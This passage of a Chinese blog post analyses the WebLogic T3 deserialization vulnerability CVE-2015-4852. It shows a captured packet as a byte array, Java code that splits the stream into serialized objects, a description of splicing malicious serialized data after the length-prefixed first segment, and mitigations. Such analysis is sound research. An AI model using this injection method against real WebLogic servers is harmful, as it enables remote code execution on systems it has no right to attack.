(byte) 0x71, (byte) 0x00, (byte) 0x7e, (byte) 0x00, (byte) 0x05, (byte) 0x4c, (byte) 0x00, (byte) 0x0a,
(byte) 0x69, (byte) 0x6d, (byte) 0x70, (byte) 0x6c, (byte) 0x56, (byte) 0x65, (byte) 0x6e, (byte) 0x64,
(byte) 0x6f, (byte) 0x72, (byte) 0x71, (byte) 0x00, (byte) 0x7e, (byte) 0x00, (byte) 0x05, (byte) 0x4c,
(byte) 0x00, (byte) 0x0b, (byte) 0x69, (byte) 0x6d, (byte) 0x70, (byte) 0x6c, (byte) 0x56, (byte) 0x65,
(byte) 0x72, (byte) 0x73, (byte) 0x69, (byte) 0x6f, (byte) 0x6e, (byte) 0x71, (byte) 0x00, (byte) 0x7e,
(byte) 0x00, (byte) 0x05, (byte) 0x78, (byte) 0x70, (byte) 0x77, (byte) 0x02, (byte) 0x00, (byte) 0x00,
(byte) 0x78, (byte) 0xfe, (byte) 0x00, (byte) 0xff, (byte) 0xfe, (byte) 0x01, (byte) 0x00, (byte) 0x00,
(byte) 0xac, (byte) 0xed, (byte) 0x00, (byte) 0x05, (byte) 0x73, (byte) 0x72, (byte) 0x00, (byte) 0x13,
(byte) 0x77, (byte) 0x65, (byte) 0x62, (byte) 0x6c, (byte) 0x6f, (byte) 0x67, (byte) 0x69, (byte) 0x63,
(byte) 0x2e, (byte) 0x72, (byte) 0x6a, (byte) 0x76, (byte) 0x6d, (byte) 0x2e, (byte) 0x4a, (byte) 0x56,
(byte) 0x4d, (byte) 0x49, (byte) 0x44, (byte) 0xdc, (byte) 0x49, (byte) 0xc2, (byte) 0x3e, (byte) 0xde,
(byte) 0x12, (byte) 0x1e, (byte) 0x2a, (byte) 0x0c, (byte) 0x00, (byte) 0x00, (byte) 0x78, (byte) 0x70,
(byte) 0x77, (byte) 0x49, (byte) 0x21, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
(byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x0c, (byte) 0x31, (byte) 0x37, (byte) 0x32,
(byte) 0x2e, (byte) 0x31, (byte) 0x36, (byte) 0x2e, (byte) 0x32, (byte) 0x2e, (byte) 0x31, (byte) 0x32,
(byte) 0x39, (byte) 0x00, (byte) 0x0c, (byte) 0x31, (byte) 0x37, (byte) 0x32, (byte) 0x2e, (byte) 0x31,
(byte) 0x36, (byte) 0x2e, (byte) 0x32, (byte) 0x2e, (byte) 0x31, (byte) 0x32, (byte) 0x39, (byte) 0x36,
(byte) 0x65, (byte) 0x53, (byte) 0x70, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x07, (byte) 0x00,
(byte) 0x00, (byte) 0x1b, (byte) 0x59, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
(byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
(byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
(byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x78, (byte) 0xfe, (byte) 0x01, (byte) 0x00, (byte) 0x00,
(byte) 0xac, (byte) 0xed, (byte) 0x00, (byte) 0x05, (byte) 0x73, (byte) 0x72, (byte) 0x00, (byte) 0x13,
(byte) 0x77, (byte) 0x65, (byte) 0x62, (byte) 0x6c, (byte) 0x6f, (byte) 0x67, (byte) 0x69, (byte) 0x63,
(byte) 0x2e, (byte) 0x72, (byte) 0x6a, (byte) 0x76, (byte) 0x6d, (byte) 0x2e, (byte) 0x4a, (byte) 0x56,
(byte) 0x4d, (byte) 0x49, (byte) 0x44, (byte) 0xdc, (byte) 0x49, (byte) 0xc2, (byte) 0x3e, (byte) 0xde,
(byte) 0x12, (byte) 0x1e, (byte) 0x2a, (byte) 0x0c, (byte) 0x00, (byte) 0x00, (byte) 0x78, (byte) 0x70,
(byte) 0x77, (byte) 0x1f, (byte) 0x01, (byte) 0xb1, (byte) 0x5f, (byte) 0x44, (byte) 0x41, (byte) 0xe4,
(byte) 0x9c, (byte) 0x92, (byte) 0x69, (byte) 0x00, (byte) 0x0c, (byte) 0x31, (byte) 0x37, (byte) 0x32,
(byte) 0x2e, (byte) 0x31, (byte) 0x36, (byte) 0x2e, (byte) 0x32, (byte) 0x2e, (byte) 0x31, (byte) 0x32,
(byte) 0x39, (byte) 0x36, (byte) 0x65, (byte) 0x53, (byte) 0x70, (byte) 0x00, (byte) 0x00, (byte) 0x00,
(byte) 0x00, (byte) 0x78};
int skip = 0;
List<Integer> size_list = new ArrayList<Integer>();
size_list.add(0);
// 前四个字节
int length = ((bytes[0] & 0xff) << 8 * 3) + ((bytes[1] & 0xff) << 8 * 2) + ((bytes[2] & 0xff) << 8) + (bytes[3] & 0xff);
System.out.println("数据包长度标记:" + length);
ByteArrayInputStream bis = new ByteArrayInputStream(bytes);
int origSize = bis.available();
System.out.println("数据长度" + origSize);
Object o = null;
while (bis.available() > 0) {
try {
bis.reset();
bis.skip(skip);
ObjectInputStream ois = new ObjectInputStream(bis);
o = ois.readObject();
System.out.println("Object found:" + o.getClass().getName());
size_list.add(skip);
skip = origSize - bis.available();
} catch (StreamCorruptedException e) {
skip = skip + 1;
bis.skip(1);
} catch (OptionalDataException ode) {
bis.skip(1);
skip = skip + 1;
} catch (ClassNotFoundException c) {
System.out.println("Class not found:" + c.getMessage());
skip = origSize - bis.available();
}
}
size_list.add(bytes.length);
int start = 0;
int end = 0;
for (int i = 0; i < size_list.size() - 1; i++) {
start = size_list.get(i);
end = size_list.get(i + 1);
System.out.println("size:" + i + " start:" + start + " end:" + end);
}
}
}

可以看到,一共分为6段,第一部分没有序列化对象,2-6部分均存在序列化对象,这里借乌云一张图来解释。

因为第一部分会校验数据包长度,替换2-6部分的序列化数据不太现实,如果长度不匹配weblogic会报java.io.EOFException异常。
那么我们可以通过构造第一部分的非Java数据(前4个字节为数据长度)+第二部分拼接我们恶意的序列化数据,即可触发漏洞。
修复
- 在weblogic所在服务器安装web代理应用,如apache、nginx等,使web代理监听原有的weblogic监听端口,并将HTTP请求转发给本机的weblogic,t3协议过不来自然无法触发反序列化。需要将weblogic停止脚本中的ADMIN_URL参数中的IP修改为“127.0.0.1”或“localhost”,否则停止脚本将不可用。
- 使用https://github.com/ikkisoft/SerialKiller。
- weblogic 用黑名单的方式对反序列化的类做了一些过滤,后面的几个 cve 也都是绕过黑名单。
总结
因为是common-collections这个库出现的反序列化漏洞,加上7001端口默认提供了http snmp t3协议服务,一个端口复用多个协议,而t3协议通过传续序列化对象来通信,对传输的数据又没有过滤,导致了反序列化漏洞,是反序列化影响范围大、影响时间久远的洞了。
本文花费的时间也比较长,从基本的common-collections链到weblogic的安装部署,再到wireshark分析和t3协议的模拟,参考了很多文章,毕竟刚开始学Java审计,慢慢来,加油。
参考链接
http://www.jspxcms.com/knowledge/429.html
https://blog.csdn.net/cz596738622/article/details/80483812
https://www.cnblogs.com/ph4nt0mer/p/11772709.html
https://paper.seebug.org/584/
https://paper.seebug.org/1012/
http://d1iv3.me/2018/06/05/CVE-2015-4852-Weblogic-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96RCE%E5%88%86%E6%9E%90/
https://github.com/QAX-A-Team/WeblogicEnvironment
http://drops.xmd5.com/static/drops/web-13470.html
https://blog.csdn.net/he_and/article/details/97924679
文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。
原创文章,作者:Y4er,未经授权禁止转载!如若转载,请联系作者:Y4er